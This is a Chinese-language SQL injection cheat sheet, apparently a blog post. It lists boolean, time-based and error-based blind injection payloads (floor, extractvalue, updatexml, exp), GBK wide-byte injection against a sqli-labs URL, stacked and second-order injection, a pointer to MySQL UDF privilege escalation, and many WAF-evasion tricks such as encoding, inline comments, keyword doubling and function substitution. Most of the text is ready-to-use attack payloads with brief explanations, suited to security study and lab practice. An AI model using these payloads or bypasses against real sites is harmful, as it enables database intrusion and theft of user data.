2.1. SQL注入的类型
2.1.1 联合注入
2.1.2 盲注(没有报错信息)
基于Boolean的SQL盲注
kobe' and 1=1# 或者--+ kobe' and 1=2# kobe' and ascii(substr( (select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) )<112# 它返回了kobe的信息,那就意味着,我们猜测的字符是小于112的
基于时间的SQL盲注(当bool盲注都没发进行的时候才考虑时间盲注)
常见函数与语句:
select sleep(3); select if(1=2,'true','false'); # 正确返回‘true’,错误反悔‘false’ select substr("administrator",2,5); # 截取第2开始,后面5个字符(从1开始) select ord('a'); # 将字母转为ascii码,只看第一个字母 select length('abcdefg');# 返回长度
2.1.3 报错注入
floor() 报错注入(rand和order by/group by冲突)
?id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ # 给语句拼接上~让它报错
ExtractValue(column,path)报错注入(把path参数路径写错)
?id=1' and 1=extractvalue(1,concat(0x7e,(select database()))) --+
UpdataXml(XML_document, XPath, new_value)报错注入(修改XPath,导致的报错)
?id=1' and updatexml(1,concat('~',(select database()),'~'),3); # 给语句拼接上~让它报错
exp() 报错注入(参数大于709时溢出,5.5<version<5.6)
?id=1' and (exp(~(select * from (select version()) a)))
支持报错注入的数据库:Access/MySQL/SQLServer/Oracle/PostgreSQL/SQLite等
其他可用于报错的函数:geometrycollection() 、multipoint() 、linestring() 、multilinestring()
2.2 请求方式注入
get注入、post注入、cookie注入、User-Agent注入
2.3 宽字节注入
2.3.1 原理
因为PHP使用的是UTF8(可变字节编码)而数据库使用GBK编码(2字节编码),有些waf会在我们的提交数据前会被加入\,\的编码为%5c,我们在后面加上%df后变为了%df%5c,变成一个繁体汉字運,变成了一个有多个字节的字符。,使%df%5c为一个两字节,绕过了单引号闭合,逃逸了转义。也就是有一些数据,php认为是单字节,但是当传到数据库中后,会被当做宽字节处理而形成的漏洞。
2.3.2 涉及函数
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
$username = "John O'Connor"; $escapedUsername = addslashes($username); echo $escapedUsername; John O\'Connor
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符(已于PHP 7.0.0版本中废弃)
mysql_escape_string() 转义一个字符串(已于PHP 7.0.0版本中废弃)
2.3.3 利用
宽字节注入利用
http://127.0.0.1/Less-32/?id=1%df’(浏览器自动进行url编码%27)->%df%27 根据以上分析,发生如下转换: %df%27—>(check_addslashes)—>%df%5c%27---->(GBK)---->運’
2.4 堆叠注入
mysql数据库sql语句的默认结束符是以“;”号结尾,在执行多条sql语句时就要使用”;”隔开
select * from student;select current_user();
2.5 二次注入
当插入的时候,会对特殊字符进行转义操作,但是写入的时候还是保存原有的数据,当下一次使用中在拼凑的过程中,就形成了二次注入。
2.6 权限提升
2.6.1 UDF提权
UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。
当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。
攻击步骤:
udf提权_GitCloud的博客-CSDN博客
2.7 SQL注入绕过WAF
SQL注入针对关键字过滤的绕过技巧
常见的有**/*/**
注释绕过,注释代替空格,**/!/**
内联注释绕过,**/!50001*/**
版本号绕过,url编码绕过,特殊字符绕过**%0a**
换行,使用空字节**%00**
,等价替换等等。
1. 变换大小写绕过
可以绕过的原因:服务器端检测时未开启大小写不敏感,交错改成大小写格式。
实例:比如WAF拦截了union,那就使用Union、UnloN等方式绕过。
select * from users where id=1 Union sEleCT 1,2,3,4;
2. 编码绕过(16进制,url编码,unicode编码)
可以绕过的原因:服务器端未检测或检测不严具有编码形式的关键字,把一些字符串改写成16进制或者其他编码。
十六进制编码:WAF检测敏感字‘~’,则可以用 0x7e 代替。
extractvalue(1,concat('~',database())) # 改写成 extractvalue(1,concat(0x7e,database()))
十六进制编码: WAF检测敏感字‘admin’,则可以用0x61646d696e代替。
select name,passfrom users where name='admin' # 改写成 select name,pass from users where name=0x61646d696e
url编码:WAF检测敏感字select,union,可以在URL中将select变成%73elEcT编码结合大小写变换绕过WAF,union=%75%6E%69%6F%6E。
union select name,passfrom users where name='admin' # 改写成 %75%6E%69%6F%6E %73elEcT name,passfrom users where name='admin'
unicode编码:IIS中间件可以识别Unicode字符,当URL中存在Unicode字符时,IIS会自动进行转换!
select name,passfrom users where name='admin' # 改写成 se%u006cect name,passfrom users where name='admin'
3. 内联注释绕过
可以绕过的原因:服务器端未检测或检测不严注释内的字符串
注释形式: 在mysql的语法中,有三种注释方法:—和#(单行注释)和/ /(多行注释)如果在/*后加惊叹号!意为/ /里的语句将被执行。
1' and /*!1*/=/*!1*/ # 1' and 1=1
4. 重写绕过
可以绕过的原因:服务器端检测到敏感字符时替换为空,适用于WAF只过滤一次敏感字的情况。
实例:WAF过滤敏感字union,但只过滤一次,则可以写出类似ununionion这样的,过滤一次union后就会执行我们的查询了
?id=1 ununionion select 1,2,3
5. 特殊字符绕过
绕过原因:数据库中效果相同,服务器端却没有限制。
空格替换:用%09、%20、%0a、%0b、%0c、%0d、%a0、//、/somewords/**等来替换空格。
科学记数法: and 1e0 = 1e0
反单引号:
table_name
括号: select * from (test.admin)
6. 比较操作符替换
适用于某一比较操作符(如等号)被过滤的情况。比如要判断某个值是不是74,假设=被过滤,则可以判断是不是大于73,是不是小于75,然后就知道是74了
:/?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))>73/?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))<75
WAF将=过滤,可以利用regexp、like、rlike来绕过
?id=1' or 1 regexp 1 ?id=1' or 1 like 1 ?id=1' or 1 rlike 1
7. 逻辑运算符过滤
过滤了or、and、xor、not可以用相对应的字符代替:&&、||、| 、!
8. 同功能函数替换
可以绕过的原因:服务器端黑名单不完整,过滤不严,适用于某一函数被过滤的情况。
等价函数形式:
sleep() <-->benchmark() ascii() <-–>hex()、bin(),替代之后再使用对应的进制转string即可 group_concat() <–->concat_ws() substr() <--> substring() <--> mid() user() <--> @@user、datadir–>@@datadir ord() <-–> ascii():这两个函数在处理英文时作用相同,但是处理中文等时不一致。 or过滤导致information无法使用可以用如下几个代替进行查表: sys.x$schema_flattened_keys sys.x$schema_table_statistics_with_buffer sys.schema_table_statistics_with_buffer 字段的查询则利用无列名配合爆破如:(select 1,xxxxx) > (select * from tablename)
例子,假如substring() 被WAF过滤:
substring((select 'password'),1,1) = Ox70 substr((select 'password'),1,1)= Ox70 mid((select 'password'),1,1) = Ox70
评论区